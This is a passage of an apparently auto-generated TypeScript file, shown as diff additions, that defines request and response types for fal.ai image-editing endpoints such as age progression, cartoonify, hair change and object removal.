@description Person wearing the virtual clothing + * @example [{"url":"https://v3b.fal.media/files/b/panda/9w6wt7vgxjfmiBIoo6bjF_cb0ba7a150c84f159e9d40af2d439401.png"}] + * @type array + */ + images: Image8797C856[] +} + +export const inputFalAiImageEditingAgeProgressionSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiImageEditingAgeProgressionSafetyToleranceEnumKey = + (typeof inputFalAiImageEditingAgeProgressionSafetyToleranceEnum)[keyof typeof inputFalAiImageEditingAgeProgressionSafetyToleranceEnum] + +export const inputFalAiImageEditingAgeProgressionOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiImageEditingAgeProgressionOutputFormatEnumKey = + (typeof inputFalAiImageEditingAgeProgressionOutputFormatEnum)[keyof typeof inputFalAiImageEditingAgeProgressionOutputFormatEnum] + +export const inputFalAiImageEditingAgeProgressionAspectRatio = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:21': '9:21', +} as const + +export type InputFalAiImageEditingAgeProgressionAspectRatioKey = + (typeof inputFalAiImageEditingAgeProgressionAspectRatio)[keyof typeof inputFalAiImageEditingAgeProgressionAspectRatio] + +export type InputFalAiImageEditingAgeProgression = { + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 6 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiImageEditingAgeProgressionSafetyToleranceEnumKey + /** + * @description The CFG (Classifier Free Guidance) scale is a measure of how close you want the model to stick to your prompt when looking for a related image to show you. + * @minimum 0 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiImageEditingAgeProgressionOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The age change to apply. + * @default '20 years older' + * @example 20 years older + * @type string | undefined + */ + prompt?: string + /** + * @description Number of inference steps for sampling. + * @minimum 1 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The aspect ratio of the generated image. + */ + aspect_ratio?: InputFalAiImageEditingAgeProgressionAspectRatioKey | null + /** + * @description Image prompt for the omni model. + * @example https://v3.fal.media/files/zebra/hAjCkcyly4gsS9-cptD3Y_image%20(20).png + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageE127Ca4B = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageEditingAgeProgression = { + seed: number + /** + * @example [{"url":"https://fal.media/files/lion/t7L2EtPYDkz1-fBlJsodJ_4e7306f22c8748258f96d1e5ed5a4cfe.jpg"}] + * @type array + */ + images: ImageE127Ca4B[] +} + +export const inputFalAiImageEditingBabyVersionSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiImageEditingBabyVersionSafetyToleranceEnumKey = + (typeof inputFalAiImageEditingBabyVersionSafetyToleranceEnum)[keyof typeof inputFalAiImageEditingBabyVersionSafetyToleranceEnum] + +export const inputFalAiImageEditingBabyVersionOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiImageEditingBabyVersionOutputFormatEnumKey = + (typeof inputFalAiImageEditingBabyVersionOutputFormatEnum)[keyof typeof inputFalAiImageEditingBabyVersionOutputFormatEnum] + +export const inputFalAiImageEditingBabyVersionAspectRatio = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:21': '9:21', +} as const + +export type InputFalAiImageEditingBabyVersionAspectRatioKey = + (typeof inputFalAiImageEditingBabyVersionAspectRatio)[keyof typeof inputFalAiImageEditingBabyVersionAspectRatio] + +/** + * @description Input model for baby version endpoint. + * @type object + */ +export type InputFalAiImageEditingBabyVersion = { + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 6 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiImageEditingBabyVersionSafetyToleranceEnumKey + /** + * @description The CFG (Classifier Free Guidance) scale is a measure of how close you want the model to stick to your prompt when looking for a related image to show you. + * @minimum 0 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiImageEditingBabyVersionOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Number of inference steps for sampling. + * @minimum 1 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The aspect ratio of the generated image. + */ + aspect_ratio?: InputFalAiImageEditingBabyVersionAspectRatioKey | null + /** + * @description URL of the image to transform into a baby version. + * @example https://v3.fal.media/files/penguin/hIPcTcSrtLMVXyedBUqIX_-pG58lHRIQ3_1iBmMlU_v_image.webp + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageE06D3Cad = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageEditingBabyVersion = { + seed: number + /** + * @example [{"url":"https://fal.media/files/tiger/pnDpVBW93b0rN_8JuT7cW_c28f958055f946caaece343054732d01.jpg"}] + * @type array + */ + images: ImageE06D3Cad[] +} + +export const inputFalAiImageEditingBackgroundChangeSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiImageEditingBackgroundChangeSafetyToleranceEnumKey = + (typeof inputFalAiImageEditingBackgroundChangeSafetyToleranceEnum)[keyof typeof inputFalAiImageEditingBackgroundChangeSafetyToleranceEnum] + +export const inputFalAiImageEditingBackgroundChangeOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiImageEditingBackgroundChangeOutputFormatEnumKey = + (typeof inputFalAiImageEditingBackgroundChangeOutputFormatEnum)[keyof typeof inputFalAiImageEditingBackgroundChangeOutputFormatEnum] + +export const inputFalAiImageEditingBackgroundChangeAspectRatio = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:21': '9:21', +} as const + +export type InputFalAiImageEditingBackgroundChangeAspectRatioKey = + (typeof inputFalAiImageEditingBackgroundChangeAspectRatio)[keyof typeof inputFalAiImageEditingBackgroundChangeAspectRatio] + +export type InputFalAiImageEditingBackgroundChange = { + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 6 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiImageEditingBackgroundChangeSafetyToleranceEnumKey + /** + * @description The CFG (Classifier Free Guidance) scale is a measure of how close you want the model to stick to your prompt when looking for a related image to show you. + * @minimum 0 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiImageEditingBackgroundChangeOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The desired background to apply. + * @default 'beach sunset with palm trees' + * @example beach sunset with palm trees + * @type string | undefined + */ + prompt?: string + /** + * @description Number of inference steps for sampling. + * @minimum 1 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The aspect ratio of the generated image. + */ + aspect_ratio?: InputFalAiImageEditingBackgroundChangeAspectRatioKey | null + /** + * @description Image prompt for the omni model. + * @example https://v3.fal.media/files/zebra/hAjCkcyly4gsS9-cptD3Y_image%20(20).png + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageC703Bebd = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageEditingBackgroundChange = { + seed: number + /** + * @example [{"url":"https://fal.media/files/panda/hsfdyCWf8tgc-UBhT2Rie_9c789557af2e43a08a02b5e4e4c41a69.jpg"}] + * @type array + */ + images: ImageC703Bebd[] +} + +/** + * @description Input model for broccoli haircut endpoint. + * @type object + */ +export type InputFalAiImageEditingBroccoliHaircut = { + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description Number of inference steps for sampling. + * @minimum 1 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Whether to enable the safety checker for the generated image. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The CFG (Classifier Free Guidance) scale is a measure of how close you want the model to stick to your prompt when looking for a related image to show you. + * @minimum 0 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The scale factor for the LoRA model. Controls the strength of the LoRA effect. + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + lora_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description URL of the image to apply broccoli haircut style. + * @example https://v3.fal.media/files/rabbit/8nqqnF_KS9c0pGgwvRNAY_IMG_8421.jpeg + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image06Fe718A = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageEditingBroccoliHaircut = { + seed: number + /** + * @example [{"url":"https://v3.fal.media/files/elephant/Rc2zAM5x0jpj4decdJTZX.png"}] + * @type array + */ + images: Image06Fe718A[] +} + +export const inputFalAiImageEditingCartoonifySafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiImageEditingCartoonifySafetyToleranceEnumKey = + (typeof inputFalAiImageEditingCartoonifySafetyToleranceEnum)[keyof typeof inputFalAiImageEditingCartoonifySafetyToleranceEnum] + +export const inputFalAiImageEditingCartoonifyOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiImageEditingCartoonifyOutputFormatEnumKey = + (typeof inputFalAiImageEditingCartoonifyOutputFormatEnum)[keyof typeof inputFalAiImageEditingCartoonifyOutputFormatEnum] + +export const inputFalAiImageEditingCartoonifyAspectRatio = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:21': '9:21', +} as const + +export type InputFalAiImageEditingCartoonifyAspectRatioKey = + (typeof inputFalAiImageEditingCartoonifyAspectRatio)[keyof typeof inputFalAiImageEditingCartoonifyAspectRatio] + +export type InputFalAiImageEditingCartoonify = { + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 6 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiImageEditingCartoonifySafetyToleranceEnumKey + /** + * @description The CFG (Classifier Free Guidance) scale is a measure of how close you want the model to stick to your prompt when looking for a related image to show you. + * @minimum 0 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiImageEditingCartoonifyOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Number of inference steps for sampling. + * @minimum 1 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The aspect ratio of the generated image. + */ + aspect_ratio?: InputFalAiImageEditingCartoonifyAspectRatioKey | null + /** + * @description Image prompt for the omni model. + * @example https://v3.fal.media/files/zebra/hAjCkcyly4gsS9-cptD3Y_image%20(20).png + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image75C14788 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageEditingCartoonify = { + seed: number + /** + * @example [{"url":"https://fal.media/files/koala/VCzEo2r7yiG49gH_dBqfC_55111638572349f782f547516cbc6e74.jpg"}] + * @type array + */ + images: Image75C14788[] +} + +export const inputFalAiImageEditingColorCorrectionSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiImageEditingColorCorrectionSafetyToleranceEnumKey = + (typeof inputFalAiImageEditingColorCorrectionSafetyToleranceEnum)[keyof typeof inputFalAiImageEditingColorCorrectionSafetyToleranceEnum] + +export const inputFalAiImageEditingColorCorrectionOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiImageEditingColorCorrectionOutputFormatEnumKey = + (typeof inputFalAiImageEditingColorCorrectionOutputFormatEnum)[keyof typeof inputFalAiImageEditingColorCorrectionOutputFormatEnum] + +export const inputFalAiImageEditingColorCorrectionAspectRatio = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:21': '9:21', +} as const + +export type InputFalAiImageEditingColorCorrectionAspectRatioKey = + (typeof inputFalAiImageEditingColorCorrectionAspectRatio)[keyof typeof inputFalAiImageEditingColorCorrectionAspectRatio] + +export type InputFalAiImageEditingColorCorrection = { + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 6 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiImageEditingColorCorrectionSafetyToleranceEnumKey + /** + * @description The CFG (Classifier Free Guidance) scale is a measure of how close you want the model to stick to your prompt when looking for a related image to show you. + * @minimum 0 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiImageEditingColorCorrectionOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Number of inference steps for sampling. + * @minimum 1 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The aspect ratio of the generated image. + */ + aspect_ratio?: InputFalAiImageEditingColorCorrectionAspectRatioKey | null + /** + * @description Image prompt for the omni model. + * @example https://v3.fal.media/files/zebra/hAjCkcyly4gsS9-cptD3Y_image%20(20).png + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageAa4207Da = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageEditingColorCorrection = { + seed: number + /** + * @example [{"url":"https://fal.media/files/elephant/Y7eZXlYjiw5km-dTA1WkX_2d4d7661f8504154b76009a6d9c49728.jpg"}] + * @type array + */ + images: ImageAa4207Da[] +} + +export const inputFalAiImageEditingExpressionChangeSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiImageEditingExpressionChangeSafetyToleranceEnumKey = + (typeof inputFalAiImageEditingExpressionChangeSafetyToleranceEnum)[keyof typeof inputFalAiImageEditingExpressionChangeSafetyToleranceEnum] + +export const inputFalAiImageEditingExpressionChangeOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiImageEditingExpressionChangeOutputFormatEnumKey = + (typeof inputFalAiImageEditingExpressionChangeOutputFormatEnum)[keyof typeof inputFalAiImageEditingExpressionChangeOutputFormatEnum] + +export const inputFalAiImageEditingExpressionChangeAspectRatio = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:21': '9:21', +} as const + +export type InputFalAiImageEditingExpressionChangeAspectRatioKey = + (typeof inputFalAiImageEditingExpressionChangeAspectRatio)[keyof typeof inputFalAiImageEditingExpressionChangeAspectRatio] + +export type InputFalAiImageEditingExpressionChange = { + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 6 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiImageEditingExpressionChangeSafetyToleranceEnumKey + /** + * @description The CFG (Classifier Free Guidance) scale is a measure of how close you want the model to stick to your prompt when looking for a related image to show you. + * @minimum 0 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiImageEditingExpressionChangeOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The desired facial expression to apply. + * @default 'sad' + * @example sad + * @type string | undefined + */ + prompt?: string + /** + * @description Number of inference steps for sampling. + * @minimum 1 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The aspect ratio of the generated image. + */ + aspect_ratio?: InputFalAiImageEditingExpressionChangeAspectRatioKey | null + /** + * @description Image prompt for the omni model. + * @example https://v3.fal.media/files/zebra/hAjCkcyly4gsS9-cptD3Y_image%20(20).png + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image7Ad8661F = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageEditingExpressionChange = { + seed: number + /** + * @example [{"url":"https://fal.media/files/kangaroo/Gf3AzGSqL08srbH5gOQtg_dad44d1ada5c4a32bc835324e6058fb1.jpg"}] + * @type array + */ + images: Image7Ad8661F[] +} + +export const inputFalAiImageEditingFaceEnhancementSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiImageEditingFaceEnhancementSafetyToleranceEnumKey = + (typeof inputFalAiImageEditingFaceEnhancementSafetyToleranceEnum)[keyof typeof inputFalAiImageEditingFaceEnhancementSafetyToleranceEnum] + +export const inputFalAiImageEditingFaceEnhancementOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiImageEditingFaceEnhancementOutputFormatEnumKey = + (typeof inputFalAiImageEditingFaceEnhancementOutputFormatEnum)[keyof typeof inputFalAiImageEditingFaceEnhancementOutputFormatEnum] + +export const inputFalAiImageEditingFaceEnhancementAspectRatio = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:21': '9:21', +} as const + +export type InputFalAiImageEditingFaceEnhancementAspectRatioKey = + (typeof inputFalAiImageEditingFaceEnhancementAspectRatio)[keyof typeof inputFalAiImageEditingFaceEnhancementAspectRatio] + +export type InputFalAiImageEditingFaceEnhancement = { + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 6 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiImageEditingFaceEnhancementSafetyToleranceEnumKey + /** + * @description The CFG (Classifier Free Guidance) scale is a measure of how close you want the model to stick to your prompt when looking for a related image to show you. + * @minimum 0 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiImageEditingFaceEnhancementOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Number of inference steps for sampling. + * @minimum 1 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The aspect ratio of the generated image. + */ + aspect_ratio?: InputFalAiImageEditingFaceEnhancementAspectRatioKey | null + /** + * @description Image prompt for the omni model. + * @example https://v3.fal.media/files/zebra/hAjCkcyly4gsS9-cptD3Y_image%20(20).png + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image280480A6 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageEditingFaceEnhancement = { + seed: number + /** + * @example [{"url":"https://fal.media/files/zebra/cUdI2ZvLl8Y99cgoxZsNZ_2d5cd48079684ee189dd3aa8a80b1c2d.jpg"}] + * @type array + */ + images: Image280480A6[] +} + +export const inputFalAiImageEditingHairChangeSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiImageEditingHairChangeSafetyToleranceEnumKey = + (typeof inputFalAiImageEditingHairChangeSafetyToleranceEnum)[keyof typeof inputFalAiImageEditingHairChangeSafetyToleranceEnum] + +export const inputFalAiImageEditingHairChangeOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiImageEditingHairChangeOutputFormatEnumKey = + (typeof inputFalAiImageEditingHairChangeOutputFormatEnum)[keyof typeof inputFalAiImageEditingHairChangeOutputFormatEnum] + +export const inputFalAiImageEditingHairChangeAspectRatio = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:21': '9:21', +} as const + +export type InputFalAiImageEditingHairChangeAspectRatioKey = + (typeof inputFalAiImageEditingHairChangeAspectRatio)[keyof typeof inputFalAiImageEditingHairChangeAspectRatio] + +export type InputFalAiImageEditingHairChange = { + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 6 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiImageEditingHairChangeSafetyToleranceEnumKey + /** + * @description The CFG (Classifier Free Guidance) scale is a measure of how close you want the model to stick to your prompt when looking for a related image to show you. + * @minimum 0 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiImageEditingHairChangeOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The desired hair style to apply. + * @default 'bald' + * @example bald + * @type string | undefined + */ + prompt?: string + /** + * @description Number of inference steps for sampling. + * @minimum 1 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The aspect ratio of the generated image. + */ + aspect_ratio?: InputFalAiImageEditingHairChangeAspectRatioKey | null + /** + * @description Image prompt for the omni model. + * @example https://v3.fal.media/files/zebra/hAjCkcyly4gsS9-cptD3Y_image%20(20).png + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image0Fcfd3C1 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiImageEditingHairChange = { + seed: number + /** + * @example [{"url":"https://fal.media/files/panda/5GTPnNd3D_X-WXiEo4jUf_0bedd250b9d24bd194702f3f196f25a0.jpg"}] + * @type array + */ + images: Image0Fcfd3C1[] +} + +export const inputFalAiImageEditingObjectRemovalSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', + '6': '6', +} as const + +export type InputFalAiImageEditingObjectRemovalSafetyToleranceEnumKey = + (typeof inputFalAiImageEditingObjectRemovalSafetyToleranceEnum)[keyof typeof inputFalAiImageEditingObjectRemovalSafetyToleranceEnum] + +export const inputFalAiImageEditingObjectRemovalOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiImageEditingObjectRemovalOutputFormatEnumKey = + (typeof inputFalAiImageEditingObjectRemovalOutputFormatEnum)[keyof typeof inputFalAiImageEditingObjectRemovalOutputFormatEnum] + +export const inputFalAiImageEditingObjectRemovalAspectRatio = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', + '3:4': '3:4', + '9:16': '9:16', + '9:21': '9:21', +} as const + +export type InputFalAiImageEditingObjectRemovalAspectRatioKey = + (typeof inputFalAiImageEditingObjectRemovalAspectRatio)[keyof typeof inputFalAiImageEditingObjectRemovalAspectRatio] + +export type InputFalAiImageEditingObjectRemoval = { + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 6 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiImageEditingObjectRemovalSafetyToleranceEnumKey + /** + * @description The CFG (Classifier Free Guidance) scale is a measure of how close you want the model to stick to your prompt when looking for a related image to show you. + * @minimum 0 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The same seed and the same prompt given to the same version of the model will output the same image every time. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiImageEditingObjectRemovalOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + 